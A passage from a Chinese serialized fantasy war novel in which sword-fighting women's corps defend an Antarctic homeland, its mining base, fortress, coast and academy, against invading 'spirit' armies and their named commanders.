家山南坡下方雪地原本有30万侍灵，但因迟迟无法全力攻山，不得不分出15万，分成多路部队，向中路延伸，以占领中路的后勤营地据点，配合中路主力。 敌军的一切变动都因家山南坡矿山基地里这区区5000名业凰队员，她们卡住南坡的攻山近路，同时威胁侍灵大军的远程部队，迫使其后撤，没法轰击山顶的家园堡。 矿石堆积的小山和空地，经历几百次狂轰乱炸，几十次近战部队突击，使队员仅剩一半，隧道库存的轻型伞武装多到用不完，她们就每人撑十把，包住自己，等近战侍灵再冲来，就机炮和近战分队齐用，且战且退入隧道，山顶城堡中的藤萝副官用望远镜看到，就支援三轮炮火，炸散侍灵部队，业凰队员再积蓄一波反冲锋，重新占据几十座矿石堆组成的迷宫区域。 偶尔，一阵狂风会卷起地面的雪花，露出队员们的黄金帽徽和肩章，这些装饰原本是该佩戴在黑亮的队服上，显得英气勃发，她们曾经手挽手一起欢笑，每当敌人来临，出于隐蔽需要，摘下金饰收入内兜的时候，就下定了义无反顾的战斗决心。 如果你问是什么让女孩们有这等勇气？ 那是因为夜星人已经受够了。 如今，敌人终于面露凶相。 我们不再逃避，为此倍感自豪。 或许。 肯定。 就是愚行，也正因为她们愚蠢，意气用事，才能用尽身心的一切力量，勇敢的守护自我，哪怕让真正的自我多存在一秒，都觉得是幸事。 一道道旋转的白色旋风带走了极字袖章，那是代表她们最爱慕的姐姐的极字，她和你我一样把心藏在孤岛，她心怀最纯粹的天真，幻想缔造完美的世界，我们心向往之。她固执的拒绝被外界改变，深藏毁灭一切暴力的能量，激发我们迎战敌军的心志，队员们身在此处，心围绕在那朵炽热的红莲花旁。 即使夜星天寒地冻，少女们满腔热血。 即便黑暗浸透时空，她为我们指引方向。 雪片在黑暗中舞动，闪烁着幽幽的光芒。 谁也不知道经历了多少次战斗，只有矿石堆周围的雪面被各类炮火炸出的深坑无声的记录着她们的事迹，过度疲惫加上0元素存量见底带来的寒意，使队员的身体止不住的颤抖，队长大口喘气，硝烟让她干呕并咳嗽，玉珊瑚喂她喝水，她打量这矿石山群后隐蔽的队友们，视线内只有一千多人了，身后的雪原再次传来窸窸窣窣的声响，是侍灵大军轰炸完毕的又一次冲锋，队员们一起点头。 “珊瑚？” “什么？” “我想站着结束。” “一起。” “好。” 人们望向南方。 滂沱大风掀起万里雪原的一层又一层雪皮，如同愤怒的荒神，在黑白空间中肆虐，白茫茫一片，分不清天与地的界限。 银色人形数量之多，足以铺满大地，它们整齐划一，跨过起伏的雪面，聚拢成一面流动的银色波涛，踏破风雪，默默无声且无情的向采矿基地涌来。 距离近到能够看清数万个透明的水母头部，都在怪异的蠕动，使人类明白，人性，敌意，恶念，这些情绪根本不存在于侍灵体内。 这是永生意识体针对还受困于死亡的生命体进行的一场意识资源掠夺，物竞天择，适者生存，一切生命将被这股绝对暴力，冷漠碾压，化作灵能会的养分。 风呼啸着，一阵刺破夜空凄厉的声响，不是大自然的怒吼，炮弹如钢风火雨，炸溃侍灵部队的冲锋阵型，是山顶家园堡发射的支援火力，未被爆炸波及的侍灵继续前冲，隐藏在矿石堆之间的玉珊瑚集团用千只机炮倾泻黑色弹幕，射杀最前的敌军，火花与侍灵消亡的蓝色火焰齐现，后来的侍灵毫不犹豫的保持攻势，伤残的侍灵无所顾忌的爬行而来，采矿基地即将被它们涌满。 业凰队员一同抽剑，狭小的地形，不利于滑步剑技，她们后队踩前队后背，跃入敌阵，搅乱敌军冲锋的动能，如此往复交替，迟滞敌军攻势并缓缓后退。 黑剑如划破银海的神兵，一剑快过一剑。 斩不尽的侍灵，仿佛可以瞬间再生，消耗着队员们的斗志和0元素能量，逐渐变成一剑慢过一剑，千只银刀把她推后，一瞬就耗光了最后一点0元素，身后的队员将她一把拽离，转身撑伞，挡住攻击，队员们这样一队接一队，最大程度分配0元素能量，抵消了四万侍灵的冲锋攻势，在狭小的矿石山迷宫区域，展开激烈巷战。 敌军指挥官铁娘子看出玉珊瑚集团已是强弩之末，发动钢棺刑具的飞行能力，叉开黑袍，一步跳上刑具，铁棺顶部的月牙弧刀，冲碎沿路侍灵，径直撞向业凰队员。 一柄黑剑，顶在弧刀前方，原来是玉珊瑚施展一命剑，赶到队友身前，她双手推剑，立向挡住横向的弧刀，敌将和玉珊瑚双方施展的强大能量都集中于刀剑相交的一点上，这是意志的比拼，结果很明显，性格执拗的粉发少女更胜一筹，黑剑劈开了弧刀。 铁娘子蹲在刑具之上，眼看分裂的刀片割破玉珊瑚的残破队服，割伤了她的肋部，而她却一步不退，黑剑加速切到刑具柜顶附近，接近了刑具武器薄弱结构。 铁娘子意识到不妙，急忙跳离，看到千支黑剑一起刺来，才明白业凰队员等的就是这一瞬间，这些人类的战意太强了，甚至把铁娘子意识中残存的人性弱点吓了出来，它承受着剑雨，一边逃跑，一边哇哇大叫，号令全军来救援自己。 顷刻，侍灵大军取消原定任务，连上山的侍灵部队都向铁娘子集中，向南撤退，这给了玉珊瑚集团一点喘息时间，此时，队员已不足千人，还有一半人的能量少到连黑剑都变不出来了，玉珊瑚让所有人退入隧道，自己独站在隧道口的大坑之中。 敌军指挥官铁娘子放下抱头的双手，看了看，手没了，只剩小臂露着亮蓝色的创口，它还感觉视线变窄，用小臂摸了摸，才发现头也被砍掉半个，再检查全身都是伤口，羞耻和愤怒令它咬牙切齿，居然忘了攻山计划，下令全军冲向矿山基地。 高亢之音在玉珊瑚心中长鸣，粉色长发迎风飘动，白色衬衣和衬裙被血染的斑驳，她甩剑指地，直面这些奔腾杀入雪坑的数万侍灵，点点银光，笼罩天地，一招旋风斩，是玉珊瑚最后一点能量施展的一命剑，击杀和击飞数百个侍灵后。 五百名队员再次冲出隧道，汇成一股雷霆之剑，切入被侍灵填平的雪坑，硬是在玉珊瑚身前挡出一面人墙。 牺牲的队员化作一团黑雾，在少女血与泪遮蔽的眼中如花瓣般消殒。 太傻了，大家，和我一样傻。 电闪雷鸣之间，一股火焰横贯山坡，奔涌出一道清晰雪浪，让敌军指挥官以为家山被什么力量劈开了，这力量殷红炽烈，点亮夜空的一瞬，砸入雪坑，瞬间融化坑内的全部侍灵部队，队员们累倒在雪与血中，依偎在重伤的玉珊瑚身边，一同仰望这位黑衣女子的壮丽身影。 黑色大衣早已在她长途奔袭过程中消耗，只剩短衣的瘦弱身形，却分毫不减她迎战绝境的惊世剑技，快过音速的动作点燃空气，形成一团球形火焰，充满周围，黑色长发在她身后激烈扰动，气势宛如只身抵挡群星坠落的英雄。 侍灵大军仍向这一点涌入，却像银海被红色旋涡吸入一般，消耗着，红莲也不知道自己的绝命剑还能撑多久，夜兰带着医疗集群和三个业凰集团，沿红莲杀出的路线到达采矿基地。贝比派强风和烈风带了一个集团，从家园堡内部的地下通道进入隧道，也赶到了，医疗队员将玉珊瑚残部接入家园堡救治，众人合力阻挡侍灵大军在家山南坡攻势。 逆转战局 铁娘子见攻山计划已经失败，开始转移近战侍灵到弹幕型侍灵的阵地后方，伺机撤往中路雪原。 数万光球照亮夜空，穿透厚重的夜幕，投射出斑驳的光影，雨落在西部雪原的后方战场上，奋战的队员无视暴风雪的狂野与不羁，尽斩眼前敌军，面临远程灵能武器轰炸，身后队员开伞掩护。 野芹的两个集群在摩罗的指挥下，原本有望突破敌军后方，却被这突增的近战兵力困住，蔓延在广袤雪原的多支侍灵部队也向她们展开合围，使她们迎战十倍于己的大军。 干瘪的侍灵银衣卷携着漫天飞舞的雪花，覆盖了大地，整个世界，包裹在一片绚烂而壮阔的苍茫战场之中。 摩 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雪原深处，偶然传来一声洪亮呐喊。起初，人们还以为是野芹跑回来了，再细听喊声非常豪迈，且急速逼近，侍灵部队和队员们被什么怪力撞飞了百米高，在纷飞的人群之中，高大威猛的女子，一袭黑亮皮衣，像一匹直破千军的巨型战马，击溃了敌军东南部包围，冲击力还波及了己方队员，曼达将军刚落地就招呼王宫武官联队继续向西北方破敌，摩罗副官赶紧拉住她。 “您怎么来了？首都沦陷了吗！” “没啊？徒弟橡树非要来支援家山，我被迫擅离职守，亲自来了，话以后再说！” 这股新战力人数虽少，但曼达可以看破敌军战线薄弱位置，有效调动紫洋的两个集群，很快突破包围，全员与敌军的弹幕型侍灵部队搅在一起，红莲临时编组了一个混合集群，也加入战场，她们面容绝美却冷若冰霜，剑舞与滑雪身法行若游龙，队友配合无间，瞬间将侍灵化为一团蓝炎，曾经充满未知的侍灵大军，在这里混乱瓦解。 各小队的每一阵冲刺都让大批侍灵溃散，她们打破了冰雪覆盖的荒原上的绝望。因为，在这片没有尽头的白色地狱里，生与死的界限，只掌握在她们的剑锋。 西路侍灵主力大军已经损失30万兵力，全线崩溃，因此，铁娘子自动失去指挥官资格，它率领本部三万近战侍灵，从家山东坡的山脚下撤往中路，意图协助中路主力攻占业凰科学院。 那是玻璃断裂的声音。 一心赶路的铁娘子诧异了一下，停步低头，捂着胸口下方，蓝色灵能不断向外喷溅，原来那一声是自己的灵能核心破裂的声音，它的五感即将消失，出于射手的天赋，一刻锁定了凶手，这颗子弹是东坡上的白发女子开枪射出。 那人身披大衣，灰白大辫子在她背后飘动，面貌清纯漂亮，嘴上叼着一节糖棍，千鸟确认敌将已无生还可能，就从半蹲姿势站起，扶枪站立，这是她第一次用一命剑技的技术，开枪射击，实战效果很理想，于是她满意的笑了，结合以往战功，升为五星。 这微笑，被铁娘子看在眼里，它现在无比憎恨这群人类，满怀恨意的伸长双手，化成一团蓝色火焰后消失了。 千鸟集群随后冲下山坡，消灭残敌后，再次尝试阻断中路敌军主力，可此时侍灵大军已成规模，反冲散了千鸟的队伍。千鸟将军的属下队员有一个特点，就是打不散，她们日常练习的就是怎么撤退再汇合，于是千鸟率众退往家山南坡方向，与红莲各部汇合，这加剧了西部雪原敌军的减员速度，侍灵开始不顾一切的逃往中路雪原。 然而，人类一方，也有大量队员的0元素存量达到败退值，红莲在采矿基地外围召开临时战略会议，队员们从第一工业局的仓库中更换新装备并短暂休整。 “强风，烈风，你们赶回北坡的冰树林，协助黑巴夺取海岸，铃兰已在东角等待配合。” “遵令。” 她俩敬礼离开，红莲继续布置。 “感激千鸟能拖住中路敌军，你现在接过西部雪原的防守，还有清缴残敌的任务，夜兰的医疗集群归你指挥。” 千鸟坐在红莲身边，看她累垮的身上有些血迹。 “还有吗？” 红莲被她问勉强挤出笑意。 “如有余力，支援服务局。” “你放心吧。” 千鸟起身去协助夜兰转移伤员和败退队员，红莲看着野芹，想她是听不明白复杂的命令。 “野芹你跟我走，紫洋集群的参谋官们，你们负责带队协助曼达解围服务局，之后径直赶往业凰，紫洋在那等你们归队。” 众参谋官彼此看看，统一意见后，对红莲和曼达敬礼。 “曼达，你到服务局附近后派传令小队去调魔鬼塔内的后备集群，尽量三面围剿，争取全歼敌军，减轻中路和东部赛博空港的压力。” 红莲说完，撑腿站起，将一个业凰集□□给野芹，三个业凰集团开始奔赴业凰科学院。 奸猾与慈爱 赶往服务局的队伍成分复杂，有紫洋集群的二万八千多人，摩罗集团三千多人，曼达带来的王宫武官联队六百人，这已经是红莲能派来援救首都的最大人数了，曼达想到这些，心有底气，她看身边滑行的数万队员，雁阵绵延百里，沿途消灭小股的侍灵部队。 红莲的判断是正确的，侍灵逃向中部雪原是假象，天家主惬意的端着茶杯，从容的接收了西路侍灵大军的指挥权。总帅星神或许不放心刚投靠灵能会不久的还享有极高自主意识权限的天家主，所以星神把忏悔院三位大将分开使用，不能说这是侍灵大军的战略失误，因为星神很难预测天家主下一秒想干什么。 “兔死狗烹，鸟尽弓藏，哈哈！” 娇媚容颜与美妙身形，再融汇天家主掌控全局的明智，绝伦美丽的气质使这一笑倾城。 她轻巧抬手，地面积雪被灵能力吸附向上，缓缓变成一把华丽冰椅，她安坐椅上，再上扬手指，风雪塑成她喜欢的古典款式圆桌，元将精致茶点摆放桌上，侍奉天家主。 “您越来越适应灵能造物的能力了，恭喜您。” “哼哼，怎样用最少的灵能，改变外界物质的性状，需要长期练习呢，不过，这是我梦寐以求的游戏。” 元点头并一起大喜，还要适度的提问，以迎合她显摆智慧的需求。 “您不主动请缨西路指挥官，就源自这句谚语吗？” 天家主品了一口茶，放下茶杯，轻轻一甩纯白色的白菜形长发，双手一扶白色连身衣，交叉双腿，得意洋洋的点脚，看着15万侍灵组成的大军逐批将服务局三面包围。 “嗯哼，我把星神拖的很难受呐，导致它现在才打到南极，关系闹僵了，我又何必主动讨没趣呢？而且呀，凡是利益为导向的团体，人有用的时候获得尊荣，没用的时候加倍羞耻。元，你说怎样保证自己一直有用呢？” 元是白色短发，俊俏容貌，一身白色西装，若有所思的表情，好像一位风度翩翩的美少年，她面带红润，热情的说：“当然是拼尽全力做事了。” “哎~傻孩子，你就是遇上我，没辜负你的忠心呢。” “我万死都难报答您的恩情。” “呵呵，我想让自己一直有用，至少保持到战争结束，有机会单飞后。就得别太尽力，哈哈！我把南极人一招打死，或者我撞上强敌吃个大亏，都会让自己丧失价值呀！” “您高见。” “我这次来，只是熟悉南极地形，试试对手的成色，我做到威胁首都，已达成目标。” 料敌机先，早得胜果，一向是天家主擅长的智略。 服务局地处空旷平原，主体是超级坚固的黑色立方体要塞，有地下通道与要塞外围的三层防线战壕相连，第一层是凝胶冰墙防线，第二层是扇合金机械更替式圆形防御墙防线，这两层都有伞筒机炮火力点和近战小队，第三层是普通钢墙，后有中口径火炮阵地和四组瞭望塔，学院北侧不设防，因有一面巨大的半球形的飞艇外壳保护，外壳是生长金属制造，极为坚固。 天家主观望飞艇外壳的位置后，笑容渐失，她起身，缓缓扭头，侧看身后远方的南极首都高大城墙。 “啧，北南两面都是死棋吗，这要塞的守将有些头脑。” 她说完，再细看服务局的第二层防线，雪地里有无数个半圆形的防御墙，呈品字形排列，各墙之间有较大空隙，于是天家主制定进攻战术，先锋队伍有三批，第一批三千近战侍灵，第二批是30支100个侍灵的小队，第三批是一万侍灵的主攻部队。 东西南三面侍灵大军各派三批先锋，以暴风雪为掩护，贴地爬行，悄无声息的接近防线后，起身猛冲，立刻就被阳荷集群的火炮弹雨覆盖，炸乱侍灵主攻部队，前两批侍灵部队穿过火光和硝烟，逼近冰墙防线，队员们以黑伞掩护机炮开火，侍灵突破冰墙后，负责近战的队员迎战，而侍灵主攻部队从溃乱中恢复，冲向冰墙，队员们在第二层防线的掩护下，撤退。 天家主随即召回了主攻部队，只剩那30只侍灵小队沿第二层防线的半圆防御墙间隙突入，马上就受到四面八方的伞筒机炮阻击，这交叉火力的恐怖程度，不到三秒就消灭了9000个侍灵，惊的天家主倒吸了一口凉气。 “一万侍灵就这么没了，简直是侍灵粉碎机，耗不过她啊，谁啊，这么厉害？” 元答：“根据密探情报，守将叫阳荷。” “噢，阳家的继承人，黑家主在世时，曾夸过她哎。哎？那密探怎么没消息了？” “不知，中路援军已从北侧陆续赶到。” “派侍灵爬上飞艇外壳，给她来一招天降正义？” “值得一试，我这就安排。” “你等等。” 天家主闭目，在意识中调用侍灵指挥系统，清点军队人数和类型。 “17万，增援全是近战型，弹幕型被铁娘子挥霍的几乎没了，只剩三万残部，这种侍灵是用体内能量当子弹或炮弹，越开火越弱，只派近战型根本是送死。” “可我们还有增援。” “这样，让100个近战型掩护10个弹幕型，用机炮模式，逐个破坏那种半圆形的防御墙，全军出击，你带一万侍灵发动北面爬壳的奇袭，要活着回来，战局未知，我还需要你。” 元领命，走下雪坡，侍灵大军按计划重新编队，不久便开展了全面进攻。 38. 章38南极：困兽犹斗 夜幕，如同一张被岁月遗忘的古老黑纱，笼罩了这片辽阔无垠的雪原。在这片被死寂统治的领域里，白雪不再是纯洁无瑕的象征，而是化作了万千幽灵的素衣，每一粒雪花都似乎在低语，讲述着凶险的银白军势。 狂风暴雪混淆天地，莹莹白海闪烁幽蓝，仿佛是冥界之门漏出的冷光，十五万个侍灵穿透厚重的白雪洪流，向服务局防线施加阴森可怖的宏大攻势。 冰墙防线后的队长定睛一看，侍灵好似万匹踩踏叠加的奔腾战马，伞筒机炮的弹幕射在这种冲面而来的银墙上，只打出点点火星，千万银刀灿烂晃眼，防线的中口径火炮的火力覆盖聊胜于无，队长们大喊。 “开伞！” 东西南三面的第一层防线同时张起数万把黑伞，只支撑了半秒便被侍灵大军淹没，队员们沿地上和地下两路撤往第二道防线，烽火硝烟，银刀与黑剑碰撞，暴风汹涌在人潮人海中，小队长和精锐队员以自身的高超剑术，在环绕周身的侍灵战场里，掩护普通队员撤退，她们必须牢记阳荷将军规划的己方机炮火力弹道，利用这些弹道，保证自己全身而退。 敌军几乎一步未停，战火迅速蔓延到第二层防线，这里的半圆形防御墙呈品字形布置，防线的宽度有千米，且高低错落，侍灵部队刚侵入防线内部就再被伞筒机炮的交叉火力消灭。 然而，敌军此次的攻势收放自如，急停于防线前方，百名近战侍灵以身守护的十名弹幕型侍灵，端着右臂的发动机喷口形状的灵能迫击枪，切换机炮模式，枪口凝聚亮蓝光芒，三面侍灵大军同时开火，灵能子弹密集攻击半圆形的防御墙，击碎的合金残片不停飞溅，融化的破口持续流淌火红的金属溶液，墙后的队员手摇防御墙的旋转杠杆，尽力维持防御墙。 防御墙的内部，整圆分布的多层扇形合金自动替换受损位置，始终保持受攻击部位有新的扇形合金到位。 防线中部和后部的防御墙后，队员的射击角度被前排防御墙遮挡，这就是天家主的智谋，而阳荷早想到了这点，队员乘坐升降平台升高，以黑伞保护自己，开始对侍灵大军倾泻弹药，战事陷入僵局，侍灵部队顶着暴风骤雨般的黑弹火力，缓慢推进，它们必须承受极大伤亡，才能清除一层防御墙，但只要坚持清除掉一半防线，伞筒机炮的交叉火力就会大幅减弱。 热风与浓烟加剧冷空气来袭，暴雪汇成滚滚洪流，吹打战场内的双方，金属破片与侍灵银衣随风飞舞，剧毒的瘴气和火光随意肆虐。天家主浮飞到军势后方，冷静计算攻破服务局第二层防线的代价，结论是需要消耗十万侍灵，而人类队员几乎没有死伤。 “阳荷啊阳荷，真有你的。” 天家主说着，再度闭目，悬浮飞高，白色卷发激烈舞动，一身贴身白衣彰显她的曼妙身姿，她双手突然迸发无数电弧，电能急速增强，双掌合并的瞬间，发出一道刺眼闪电！ 这道惊雷以毁天灭地之势从西开始横扫战场，被灵能闪电直接命中的队员纷纷丧命，周围的队员也被灵能力波及，陷入麻痹或退出战斗，侍灵军队得以急速冲入防线，可一声天塌地陷的爆炸声，顷刻便瓦解了侍灵全军的冲锋势能。 原来是第一层冰墙防线的地下战壕内埋设了超温压炸药，爆炸产生的强真空环境，吸入了站在上方的大批侍灵，兵力骤减导致侍灵包围圈变得薄弱，三万队员一同冲出战壕，万千黑剑快若流星，近战侍灵还在执行防护弹幕型侍灵的任务，机动能力不足，几乎被队员全灭，天家主眼看侍灵前锋部队就要溃败，急切的逼迫后方侍灵爬出凹坑，可是南方天空的一阵巨响让她心头一紧。 原来是首都高墙上的火炮部队观察到服务局的第一层防线爆破，启动了应急支援，几十万发炮弹准确命中了提前算好的战壕里，持续不断爆炸导致侍灵很难爬出，天家主发射的不是普通闪电，这招消耗了她体内的一半灵能力，她想，不能在用了。 中路的第二批侍灵部队支援到达。 已经攻入最坚固的第二层防线。 还有机会，只要。 西侧雪原赶来的综合集群几乎和侍灵支援部队一起到达，打断了天家主的思考，她远望战场西北角，三千名黑衣队员组成的摩罗集团甚至短暂冲断了侍灵支援部队，突变的战局令天家主一时慌神，这是她第一次指挥军队，反应不过来该如何应对。 服务局要塞北侧，阳荷将军坐在一把简易椅子上闭目思考，不时有参谋官跑来告知她执行了哪个防守预案，红亮如火的长发上下微动，是阳荷点头知晓战场进程，留用此地的黑猫队员为她盖好黑色大衣，正要帮她抚去黑帽上的积雪。 “阳荷大人，无线天线传来情报，西部支援已到，有三万多人。” 她睁眼，华美面容尽显激动心情，却又皱眉，思虑是该反攻，还是聚拢队员，退守要塞，减少伤亡。 “传令，退守要塞附近的第三层防线。” 与阳荷说话声同时到达黑猫队员耳边的是，一招从天而降的手刀。 元的手刀空划的一瞬，即撞到阳荷的大剑，阳荷甩飞黑猫队员，与元展开激烈缠斗，一万个侍灵如冰雹一般，砸在阳荷周围的雪地上，元听到了阳荷的传令，于是急杀黑猫队员，元身后有阳荷的横斩，前方有后勤队员和参谋官保护黑猫队员，于是元转身应付阳荷，众队员试图掩护阳荷，一起且战且退。 元觉得自己失算了，天家主经常教导她要么不做，要做就做到底，方才偷袭黑猫队员的一招都被这个红发女人挡下，说明此人武技非同寻常，几招交手过后，自己却再攻黑猫队员，就和红发女子拉了距离，高手过招，优劣就在毫厘之间，自己主动放弃了擅长的贴身战，现在被对方的巨剑控制在中近距离，退不得退，进无可进。 阳荷的黑剑既长且宽，是她减少了靴子和上衣的面积换取的效果，以符合她自创的防守型剑术，她每天都会预想几十个比自己强几十倍的敌人猛攻过来，以此持续精进剑术，每个防御动作都是反击，每个反击再变回防守，循环往复，无懈可击。 元命令其他侍灵围攻阳荷，以此争取到一个空隙，跳退，站立。 “请问，您的姓名。” 元当然知道阳荷的名字，她只是因为被阳荷的巨剑纠缠太紧，想争取时间，施展绝招。 而阳荷也很好奇，此人的武技讲求猛攻弱点，极似真我剑术。 “阳荷，你呢？” “在下名元，是天家主的随从。” 二人说话的功夫，元又后悔了，阵地周围的队员越聚越多，好像整个战场的队员都撤了回来，不应该呀，家主大人派大军三面猛攻，这些人是怎么脱离战斗的呢？ 事态紧急，元立即施展一命，她的灵能主要强化双小臂，超常坚固，双拳即达阳荷身前之时，阳荷也施展了一命剑，两人武技抵消，撞开，阳荷立即挥剑，再次将元纠缠在长剑的攻击范围内，而元迫不得已施展了绝命，双方动作快如电光火石，震撼全场。 侍灵的奇袭部队持续减员，精锐队员们开始围攻元的后背和身侧，导致元用绝命界都无法脱身了，她想起了天家主的嘱托，必须回去。 钢拳如陨石一般重砸黑剑，阳荷勉强握住剑，应付了三拳后，才发现元的攻击一拳比一拳强大，这是真我剑术的极命界，自己很难再缠住她了。 就在阳荷转攻为守的破绽里，元一拳砸中阳荷的右臂关节，却见她的剑招一点都没乱，才惊觉这女人的另一种强大，是刚强无比的精神力量，她硬忍痛感并驱动能量补充损伤部位，身姿宛如一面坚固城墙。 元想自己不能和阳荷死斗，耗光灵能就回不去了，她打退阳荷，解除极命界就全力往阵地外围突破，可眼前是满山遍野的人类队员，侍灵大军已然溃散，于是她承受着四面八方的黑剑攻击，一路冲往南部战线，还没有天家主的身影，再冲往西方，这回看到了侍灵部队，却在向远方撤军，身前是数万队员，有的持剑靠近，有的举机炮射击，元转身四顾，明白自己已经深陷敌海。 这位面如美少年的女子眼含泪光，遍体鳞伤。 跟了你这么久，只有我救你，我多么希望你也来救我一次啊。 我知道自己可以死后复活，而你也是。 元想着，耳边传来敌将靠近的动静，她茫然转身并蓄力一命武技，见来者不是阳荷，就舍身猛攻，周围队员的武技都不能阻挡元的攻势，摩罗的一命剑威力太低，黑剑断裂后又有一把宽大黑剑，完全抵消了元的武技。 阳荷顺势下劈，大剑刺穿了元的上身，将元按在地上，而元一手抓住黑剑，一手阻挡剑锋继续靠近自己的灵能核心。 作为高阶灵能自主者的元，身体非常强韧，手臂受伤的阳荷无法独自斩杀她，众队员一起把黑剑压在阳荷的大剑之上，元在地上激烈挣扎，一边拼命阻挡剑压，一边狠狠的望着受惊发呆的摩罗。 “你遇了好主公呢，忠诚就是，唉，也要站到底吧。” 这位侍灵大将放开双手，化为蓝火，消失了。 阳荷因此战升为五星。 短暂回顾曼达综合集群包围天家主大军的过程，全员是直接冲入战场，紫洋麾下的两个集群，一个攻西线敌军后方，一个攻南线敌后，曼达发射信号弹，通知首都的竹桃集团下城支援，还派了王宫武官小队去调东部魔鬼塔处的后备集群，阵势之大，让愣神的天家主也清醒过来，急调南线和东线的侍灵残部，凑了四万多侍灵的部队，向东撤退。 紫洋集群见服务局的危机已解除，就从东线转向北方，天家主见身后只剩不到五百人在追，就杀了个回马枪，曼达退了一段路，后备集群撞上了天家主先头部队，后备集群的队员都不到三星，战斗经验严重不足，反被侍灵部队打散，所幸天家主急切的想和东路大军汇合，队员们才没伤亡，曼达收拢队伍，回到服务局。 阳荷后来说，再守一个小时没有问题，要塞其实才是最坚固的防御，两人反省一会儿，各回防区休整，竹桃集团尾随天家主的部队，侦察东部战区的情况，再做打算。 收复海岸 战役已经发展到了僵持阶段，因为这120万个侍灵是总帅星神在人工岛囤积大军，北极的援军还要在人工岛积蓄到足够数量，才能赶往南极，也就是说，短期内，没有新的侍灵部队登陆北海岸了，围攻家山北坡冰树林的侍灵在战损和抽调中不断减少，黑巴组织了三次佯攻冲锋，试探出了海岸西角的敌军已经空虚，说明敌军因兵力不足，正往海岸中部收缩。 “侍灵受程序控制，撤退行为特别坚决，反击较弱，敌退我进，是一招妙手。” 地下指挥部的各位参谋官商定出这个战术，黑巴将军早就等的不耐烦了，她一步起身，抬手敬礼，黑色短发，英姿赫赫。 “传令，通知龙葵集群下山，协助贝比集群设防西角造船厂。我带一个满能量集群横扫海岸，其他队员随我沿途设防！” “遵令！” 黑发女子一扬短款斗篷，黑色的队服和长筒靴衬托她的窈窕身姿，大步走出地堡，她抬头仰望，夜空划落点点星光，是山下侍灵阵地发射的零散光弹，个别的蒲公英型侍灵飞抵山坡，还未侦察就被黑衣队员击落。 暴风带刺骨的寒意和凄厉的哀嚎，呼啸着穿梭于冰树林之间，却又迷失在这片无尽的白色迷宫中。风的声音，时而尖锐如利刃切割空气，仿佛每一声都是对勇气的拷问，催促众人集结。 黑巴在阵前回礼，转身抽剑，众人随之放低身姿，风雪悬浮于15625人的箭形阵外，好像被看不见的防护罩隔离，是全员一起释放的0元素能量场在同调，下个瞬间，能量爆散激发层层叠叠的雪浪，阵中队员们的长条围巾一同飘动，就像千万张飘动的战旗，雪浪翻卷到几乎要将人们吞没之时，黑巴集群忽然消失，观众望向山下，山坡劈开一道V形雪潮，直扑侍灵阵地，其他队员赶忙跟上，以山呼海啸之势，冲跨侍灵部队。 海岸的西角已剩残敌，黑巴集群转了半圈，完成转向，变阵成雁形阵，宽度足够覆盖海岸各基地的主干道，就向□□破。 正如参谋官们判断的那样，各批侍灵小股部队撤出防御工事，散乱的向东集中，黑巴集群的攻势真如秋风扫落叶一样顺畅，没遇到任何成规模的抵抗，这效果也得益于队员同步能量场的阵法移速太快，超越了侍灵指挥系统的反应速度，快到后方队员都来不及占领沿途的天梯工程公司阵地，只顾猛追。 侍灵军队也考虑过黑巴集群的突破能力，所以海岸西部的指挥官换成了舞蹈家，这个情报早被隐蔽的黑猫队员发给了黑巴，她看到海岸中部的太空城建筑群就用意识通信下令。 “困住我，变8字阵！” 听到命令的精锐队员把黑巴的四肢和黑剑都掰住，雁阵的头部就逐渐减速，冲溃侍灵部队的同时，露出了金属人偶外形的敌将，舞蹈家精准控住黑巴的同时，就发现情况不对，自己的身体动不了，凝神一看是众队员把黑巴束缚住了，控制者与被控者的动作是同步的。 舞蹈家踉跄半步，没法转身，就跟黑巴撞在了一起，两人脸对脸，黑巴还朝舞蹈家微笑，吓的它抖了一个激灵，周围队员腾出手，各拉住舞蹈家的一个关节，就将它扯的稀碎。 全员队形随黑巴减速变为向前延伸的0字队形，队两翼相交后变成8字队形，以神速分割包围了海岸西部侍灵主力，队员们的剑术提高不少，流畅滑行，彼此穿梭接应，毫发无伤的尽灭侍灵。 海岸东部，空港山脉岩石和雪道中的铃兰集群望见了黑巴集群发动攻势，众人撑伞跳山，铃兰在下落的过程中就看黑巴已破敌军主力，急说：“收伞！” 业凰队员的空中滑行能力普遍很好，全员借助风力和重力，斜冲落地就一步不停，直接撞破敌军阵地，实际上，侍灵大军已有缓慢后撤并向海岸西部迁移的势头，但铃兰不管那么多，她的一招一命剑，就能卷起螺旋风流，形成大范围攻击，物资基地的侍灵部队被她冲破之后，她又冲向西方的超重工业中心基地，侍灵主将演奏家带队赶来，铃兰的一命剑势能耗尽，斩杀三个超级侍灵后马上施展绝命剑，大概是因为强敌太多阻乱了剑术，铃兰的剑风挥出了八股螺旋风流，将演奏家身前的侍灵不断吹散。 铃兰后方的业凰队员跟来，看她一个娇小身躯挡在万敌之前，金色的双马尾随风高飘，黑色大衣背后的天下第一大字格外显眼。 队员们隔离了演奏家周围的侍灵，使她不再得到兵源，当最后一个超级侍灵被铃兰击飞，铃兰一剑斩碎敌将，评星系统汇总她以前的战功，授予她五星。 南极北海岸收复，侍灵大军已不再获得支援，且有退路断绝的危险。 英雄救美 内陆的战况不算乐观，散落各地的侍灵小队开始往雪牢关的方向集中，将久攻不下的业凰科学院彻底围了个水泄不通。 这座位于低洼冰原的巨型纯白城堡是南极的地理核心，侍灵大军为此派出了指挥和战斗能力都很优秀的战争执刑，它在战役初期就率军攻入了学院内部，等她仰望白色石山之上，高低错落的近千个高塔和大厅，以及白石长廊围栏内都设有伞筒机炮火力点，就知道这次遇到布防高手了。 一对巨型车轮武器沿山坡的走廊冲上去，它本以为杀掉不少队员，可车轮返回时已残破不堪，于是指挥侍灵部队爬山进攻，加上弹幕型侍灵对伞筒机炮火力点实施定点清除，战争执刑甚至调来了一批蒲公英型侍灵进行空中轰炸。 登山攻势进展到一半的时候，底层的宿舍的暗堡和高楼大殿的隐藏火力点一起开火，弹雨精确击杀山壁上的侍灵，还打死不少底层广场里的弹幕型侍灵，战争执刑亲自带兵清缴底层宿舍群，发现有暗道通往业凰科学院外墙内部，这墙壁和白石山一样，是生长金属建造，极为坚固，曾硬抗核弹和灵能风暴，战争执趴洞口向内一望，就挨了一轮机炮子弹，导致连它也不敢贸然冲入狭窄的外墙内部，它推测里面有通往高层的捷径，队员可以通过这些路线快速调动。 当战争执刑回到圆形广场，看着周围拥挤不堪的侍灵部队，再仰望山上，有队员在修复损坏的防御工事，说明学院建筑之间也有暗道，即便攻上山，队员还能调动人力，分割并包围侍灵小队，它不禁感慨：“这是什么老鼠指挥官挖的大奶酪啊！” 